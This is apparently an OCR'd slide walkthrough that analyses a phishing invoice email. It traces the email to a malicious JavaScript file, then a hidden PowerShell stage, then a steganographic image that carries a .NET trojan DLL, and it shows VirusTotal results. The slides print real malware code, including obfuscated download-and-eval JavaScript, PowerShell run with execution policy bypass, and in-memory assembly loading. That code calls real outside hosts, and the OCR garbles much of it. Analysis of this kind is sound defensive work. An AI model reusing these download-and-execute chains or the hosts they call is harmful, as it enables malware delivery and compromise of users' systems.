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Can you spot the red flags ?
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INVOICE 5231739 - Ref. 768572

Felow please find the latest invoice for your information in advance. The original document is sent with the shipped goods. Please contact the mentioned contact person in case of any@

Your Tracking numbers(g UPS Express Saver / 1Z 65A 005 04 6233 5439
You can download your invgice HERE sn vo“ SEE

Best regards

EVE Ernst Vetter GmbH
Neureutstr. 6
75210 Keltern

Fon: +49 (0)7231 9777-0
Fax: +49 (0)7231 9777-99

?——‘ i

EUERYWHERE

anaging Director: Dennis Vetter

District court Mannheim: HRB 502717

USt.-ID-Nr. / VATSNQ.: DE 192 465 622
itz / Based in: Keltems

E-Mail Disclaimer:
Der Inhalt dieser E-Mail ist ausschlieRlich fir dembezeichneten Adressaten bestimmt. Wenn Sie nicht der vorgesehene Adressat dieser E-Mail oder dessen Vertretersein sollten, so beachten Sie bitte, das




Let’s dive into it !

HERE = https://babaszepsegverseny.hu/INVOICE.js
“It iIs very dangerous, but | will still do it !”



https://babaszepsegverseny.hu/INVOICE.js

var haplanto = [];

function
oratoriano(abacateiro)

{
if (abacateiro)
return
haplanto.oratoriano(p)
annona
return p

function pecunia(str) {

return
str.split("").reverse().join("");

}

var cristel = new
ActiveXObject("MSXML2.XMLHTTP
II);

var corripo =
pecunia("X1GMM/d/ee.etsap//:sptt
h");

cristel.open("GET", corripo, false);
cristel.send();

var focinho = "";
if (cristel.status === 200) {
focinho = cristel.responseText;

function cortonomia(colleccionista)

{

eval(colleccionista);

}

cortonomia(focinho);

cristel = null;
function hypotheca()
{

if (haplanto.convosco === 0)
return null

var abacateiro =
haplanto.hypotheca()

mantelado
return abacateiro

function pluviometria()

{
if (haplanto.convosco === 0)
return null
return
haplanto[haplanto.convosco-1]
}

—



Follow the link

echo "X1GMM/d/ee.etsap//:sptth" | rev

https://paste.ee/d/MMG1X




Junk Code

// PSK NameSpace's
pskNs = i
psk1llNs
psk12Ns i

psf2Ns =
psfNs =

xsiNs =
xsdNs =

pdfNs

completePrintCapabilities(printTicket, scriptContext, printCapabilities) {

xmlCapabilities = printCapabilities.XmlNode;
rootCapabilities;

SetStandardNameSpaces (xmlCapabilities);

rootCapabilities = xmlCapabilities.selectSingleNode(

(rootCapabilities != ) 4
pdcConfig = scriptContext.QueueProperties.GetReadStreamAsXML(
SetStandardNameSpaces (pdcConfig) ;

pdcRoot = pdcConfig.selectSingleNode(

parameterDefs = pdcRoot.selectNodes(

pdfNsPrefix = getPrefixForNamespace(xmlCapabilities, pdfNs);
defCount = 0; defCount < parameterDefs. ; defCount++) {
pdcParameterDef = parameterDefs[defCount];

capabilitiesParamDef = CreateCapabilitiesParamDefFromPDC(pdcParameterDef, pdfNsPrefix, printCapabilities);
rootCapabilities.appendChild(capabilitiesParamDef);



try {
var junho =

PSBAKCk7ICRzaM pbmtzIHwgR2VOLVJhbmRvbSAtQ291bnQg)GxpbmtzLk

bGVkTGlua3MplHsgdH)5IHsg)GRvd 55b F WREYXRhICsQICR3ZWjDbGIIanuRGQ3bmxvYWREY
0yByZXR1cm4ngRvd2 ‘ !

g HNOYXJORmxhZyA9ICc8PEJBUOU2NF9TVEFS
PZigkc3RhcnRGbGFnKTsg)JGVuUZEIuZGVv4ID
GV41C1ndCAkc3RhenRJbmRIleCkgeyAkc3Rh

nVkFJJykuSW52b2tIKCRudWxsLCBbb2JqZWNOW11dIiCgno
FkbycgLCANZGVzYXRpdmFkbycs)2pzYycs)J2RIc2F0aXZhZG¥

var fronde = new ActiveXObject("WScript.Shell");
var angulete = "$Codigo = '" + junho + "';";
angulete += "$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]:: FromBase64String($Codigo));";
angulete += "powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD";

fronde.Run("powershell -command \"" + angulete + "\"", 0, false);

} catch (error) {




More code...

function DownloadDataFromLinks {
param ([string[1]$links)
$webClient = New-Object System.Net.WebClient;
$downloadedData = @();
$shuffledLinks = $links | Get-Random -Count $links.Length;
foreach ($link in $shuffledLinks) {
try {
$downloadedData += $webClient.DownloadData($link)
} catch {
continue
}
HH
return $downloadedData
HH
$links =

@('https://uploaddeimagens.com.br/images/004/773/812/origina
I/js.jpg?1713882778',

'https://uploaddeimagens.com.br/images/004/773/812/original/
js-jpg?1713882778');

$imageBytes = DownloadDataFromLinks $links;

if ($imageBytes -ne $null) {
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startindex = $imageText.IndexOf($startFlag);
$endindex = $imageText.IndexOf($endFlag);
if ($startindex -ge 0 -and $endindex -gt $startindex) {
$startindex += $startFlag.Length;
$base64Length = $endindex - $startindex;
$base64Command = $imageText.Substring($startindex, $base64Length);

$commandBytes =
[System.Convert]::FromBase64String($base64Command);

$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
$type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home');
$method = $type.GetMethod('VAI').Invoke($null, [object[]] (
'txt.bb/431.07.612.581//:ptth',
'desativado’,
'desativado’,

gesativade’ ENCORE
desativado’,

‘isc’, o e

‘desativado’ Gn FAIT'BEA“coyP LA

))

} NON;.




Nice picture !

@ B O 8 https://uploaddeimagens.com.br/images/00. 2original/js.jpg?1713882
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But it looks strange...
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Result

Mieesepjese ¢!¢le!This program cannot be run in DOS mode.
$PEL® J#e”
fesesr &4+ rﬂi##-.-[]#-.-'&-.-
He+ H.text8e+ ¢+ ~.rsrce+e+0.reloc
4+4:BH+HD#4KO(sem+e" (L

res.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows,
3 sections

7230cc614270dca79415b0cf53a666a219beb4beed90c85al1lac09f082aeab613b res.bin




It’s a trap !

!) 48/74 security vendors and no sandboxes flagged this file as malicious C Reanalyze = Similar ~

7230cc614270dcaT9415b0cf53a666a219bebdbeed90c85al ac09f082aeabl3b Siz Last Modificat
2.713MB 5days ago

System.Management.Automation.dll

assembly

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 2

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (. ms Threat categories trojan  downloade Family labels msil  msilheracles  cufzt

Security vendors' analysis @ Do you want to automate checks?

AhnLab-v3 (D Trojan/win.Generic.C5 7 Alibaba (D) TrojanDownloader:MsIL/Injector.5a506d42
AliCloud
Antiy-AVL (O Trojan/win32.Age Arcabit
Avast ) Wina2:njectorx-ge Avert Labs
Avira (no cloud)
BitDefender Gen:Variant.MSILHeracles.15 Bkav Pro
Cylance ) Unsa Deeplnstinct

Emsisoft ) GenVaria 1SILHeracles.15 B eScan




Let’'s sum up

« Windows malware (DLL)

« Embeded in a picture

- Downloaded from a PowerShell script
- Downloaded from a JavaScript

- Downloaded from a JavaScrpit

- Executed in a web page

* From a link in an (phishing) e-mail
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